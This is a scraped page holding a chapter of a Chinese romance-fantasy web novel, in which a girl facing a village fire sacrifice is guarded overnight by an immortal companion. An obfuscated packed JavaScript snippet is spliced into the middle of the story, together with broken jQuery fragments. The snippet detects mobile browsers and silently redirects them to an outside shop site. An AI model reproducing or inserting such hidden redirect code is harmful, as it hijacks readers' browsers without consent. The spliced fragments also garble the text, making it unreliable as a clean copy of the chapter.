文趣网 > 都市小说 > 我成了长命白月光 > 22. 祭台
    一盏一盏莲灯飘荡在湖面上,堆积在一起倒真像个开满莲花的池塘。而这场喧闹的中秋夜,也在莲灯上的烛火一点一点燃尽时到达了终点。

    三人兵分两路,林苏回去照看林老爷子,长生送百秽回长寿村。

    马车靠在长寿村旁,村头大门上挂着一对红艳艳的灯笼远不足祭祀会上人人手中握的火把亮,只能微微照亮门前一两步路。

    长生像往日一样,先下了车,熟稔的伸出手来。中秋夜的夜晚很凉,百秽的手搭上去时,冰凉的温感明显刺得他一惊,眉头微微往下压着。

    女孩的脚轻盈地落在地上的时候,手被微微抓紧。

    “要不要我晚上守着夜。”他用很平常的语气说着,而掌心的温度透过那双冰凉,让人心暖暖的。

    百秽一脸惊奇:“不活了?”

    等话出口才缓过神来,这人是个神仙啊,睡觉只是锦上添花罢了。

    “害怕吗?”他没回答,只是轻声问道,狭长的眼有一下没一下的眨着。

    “我厉害着呢,以前我也没怕过。”她将手从那双温热的掌心抽出,双手抱臂,语气上扬,好似在说一件值得骄傲的事情。

    她并没有说谎。

    第一次被火烧的时候,是有些痛的。她之前见过献祭,林苏在台上喊着疼,发出撕心裂肺的呐喊声,可没人管,火焰一点点吞噬了她,越烧越高,越烧越高。到最后连尸骨都找不到,与木头一同化作了黑色的齑粉。

    她第一次也像那样叫,叫啊叫啊,声音惊动了天上的鸟儿,鸟儿飞走了;又惊扰了月亮,月亮被云遮蔽了。

    但就是没有惊动台下的一人,甚至是一草一木。

    于是第二次,她就静静地,静静地看每一寸肌肤成为火的养料,看它们吃饱了,长高了,然后看自己慢慢化成了火焰烧落的尘埃。

    那时她想,等一切结束,她就坐在忘川河畔,做个无忧无虑的孤魂野鬼。

    她好似一脸骄傲,拍打着自己的胸脯,而那双盈盈双眼却有些涣散:“我有经验,怕什么。”

    可眼前的人最擅长洞察人心。

    “你为什么觉得自己一定会站上献祭台,被烧死呢?”

    锥心刺骨的一问,竟是以面无波澜的模样,平淡的语调一点点陈述出来的。

    “如今有爱你的人,有在乎你的人,你为什么会觉得自己一定会站上献祭台。”他一字一句地说道。

    百秽莞尔一笑,两人走在寂静的村子里,席席凉风吹来,吹起雪白的裙摆,吹散天边的乌云。

    到百秽家门口的时候,宋婀月正提着一篮糕点盒回来,她直直地走着,瞧见两人时,并没有说一句话。

    “阿娘,你去干什么了?”百秽还是没忍住开口去问,语气却是十分地没有底气,双唇紧紧抿着。

    宋婀月只是淡淡回答着,像在说一件无关紧要的事情:“前些日子你沈爷爷请百顺吃了一盒糕点,我不喜欢欠别人的,便还了一盒回去。”

    “糕点?”百秽重复着。

    宋婀月瞥了眼一旁的长生,忽然没好气地说:“你是要把外头的男人带回家睡吗?”

    百秽才觉得心安些,蹦蹦跶跶地跟长生说了再见,随着宋婀月进了门。

    本还有些话还没开口说,不过也都无关紧要了。他无奈地摇了摇头,靠在长满青苔的石砖上,望着月光。

    他不知道如果不被献祭,百秽的心结会不会被解开。不过他如今只想站在门前,守上一夜。

    他以前很懊恼,为什么没在门前站上一夜,盯紧某个人。或者说,为什么不顺着她,陪着她去闹上一场。

    如今,他不会这样了。

    是夜,明明是中秋,林府却没挂灯笼,只因为林老爷子的身子仍不见好。

    为了调养生息,林娘子早早服侍老爷子睡下了,林苏回来落了个空,便坐在老爷子床铺的圆桌旁,重新读起了他曾教授她的诗书。

    客房。

    谢傲一把扯下面上蒙着的黑纱,大口吃着林娘子带来的几个月饼,又觉得嘴中干涩,唤下人拿了几壶酒来。

    “如何?”林娘子的声音冷冰冰的,同往日的似水柔情俨然不同。

    谢傲着急说话,将口中的月饼生生咽下:“赵满知死了,赵寻舟要来湘江——寻仇?”

    “他们贵人多忘事,也不知道记不记得。”林娘子笑道,那双透亮的眸子如今犹如一潭死水:“一命偿一命罢了,赵满知也死不足惜,这是他欠湘江的。”

    她的指尖轻轻点着桌案,一字一句道:“赵寻舟若想寻仇,便告诉他,让他死个明白。”

    谢傲和谢诚是一对双胞胎,两人长相极为相似。谢傲年少时笨拙,总被人嘲笑,是他那位哥哥一直护着他。他喜欢游山玩水,家中父母总是不同意,是谢诚偷偷给他塞银两,叮嘱他注意安全。

    等两人长大了,谢诚成了家,他偶尔会寄点外地特产给谢诚。

    两人最后一次见面,是他大口喝着酒,跟谢诚讲塞外的风光,说要出去看看。

    一走,便是天人永隔。

    赵卿卿是赵寻舟的庇护伞,谢诚又何不是他的?

    他没了哥哥,赵寻舟没了姐姐,这才相称。

    “他应该会去找宋婀月。”谢傲囫囵吞枣地饮下将一壶往嘴里灌,酒水顺着壶嘴如瀑布般下落,他擦了擦嘴边遗落的水渍:“旧情人。”

    “你说我这算不算成全了一对苦命鸳鸯。”林知礼含笑道。

    百秽起来时已是日上三竿,周围的场景仍是自己熟悉的,推开门,那木头桩子竟然真的在外头待了一夜,低头一看,这狐媚子还带着个娃。

    是百顺,百顺难得乖乖地站在一边,话也不说。

    “生日快乐。”那人一双好看的狐狸眼下已是一篇乌紫,还轻飘飘地问。

    “傻子。”百秽出门的脚步一顿,又朝一旁愣愣站在那儿的百顺扬了扬下巴:“他怎么在这儿,我娘呢?”

    “你娘一早就出去了,看我这门外,说让我照看着些百顺。”长生说道。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695683|207184||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>她伸了个懒腰,抬头向村子看去。大家伙有条不紊地搭建着十字架和祭台。前一次的十字架没用上,木头腐朽了,长满了青苔。村长便下令让人拆了,说下次搭个新的,让河神看见长寿村的心意。

    甚是好笑。

    这祭台简陋,白天看着就是几块破木头,晚上却像吃人的怪兽,只是静静伫立在那,高耸入云的高度便吓得人心头一颤。

    “阿娘说她去给沈爷爷送新鲜的月饼去了。”百顺搭话道。

    “月饼?”

    她怎么天天往那边送糕点。

    百秽清晰地记得,两家的关系算不上好,前两次也不过是金钱交易,并无太多真感情。

    难得第一次生日不是在柴房里过,百秽也没有去多想。只是觉得甚是奇怪。

    沈村长真的舍得他那宝贝女儿吗?

    “你觉得今天这场祭祀,会见血吗?”她望向逐渐成型的祭祀台,黑色的眸子悠悠转动。

    长生随着她的目光看去,眸子中好似有一座深井,怎么也看不透:“我不会让它见你的血。”

    百秽看着那熟悉的老伙计,忽而笑了:“其实其他人的血我也不想见,这祭祀太玄乎了,明明就是亳无厘头的事情,难不成烧了一个人,就能止住洪水,这太荒缪了。”

    长生沉吟着:“你好奇吗?关于这场祭祀。”

    百顺一头雾水的看着二人,显然听不懂两人在交谈什么。他不懂什么是祭祀,也不懂那个高高的十字架是用来干什么的。

    他只知道阿娘跟她说了,以后要少吃外面的东西,她可以给他钱去街上买,她也可以为他亲手做。

    见百秽一脸好奇地看着他,清澈的双眸如夜空中的星星一般闪亮。

    长生便开口道:“上古有一对神器,叫明月壁和夜光珠。”

    “这两件神器由天族的一对兄妹掌管,共同构成了天族与外族的结界。而明月壁因为种种原因到了妖族手中,而后居心叵测之人利用明月壁的力量修炼。”

    “明月壁是澄澈之物,也因此染上污浊,发生异动。妖族见情况不对,便将明月壁丢入了化清池,企图洗去明月壁中的污垢,而化清池与忘川相连接,忘川水与人间相连,明月壁在这一串水流中不知所踪,异动越来越强烈,导致了民间几月的天灾,就是你们说的洪水。”

    “后来民间的苦难被发现,动用了夜光珠去镇压忘川河的河水,洪水才得以停歇。”

    百秽不禁嗤笑:“所以这祭祀,不过是人骗人罢了。”

    神仙们的争斗着,受苦的却是一群蝼蚁,于是蝼蚁们互相残杀,试图得到神仙的垂怜。

    神仙垂怜了他们,并不是因为他们的互相残杀,不过是弥补过错。

    而这却给蝼蚁锁在了笼子里。

    企图以相同的方法——自相残杀,永久地获得神仙的垂青。

    百秽正出神地想着,只见一个满脸胡茬,皮肤粗糙,眼眶微红的男人站在门前,以一种谦逊有礼的语气问道:“请问宋姑娘在吗?”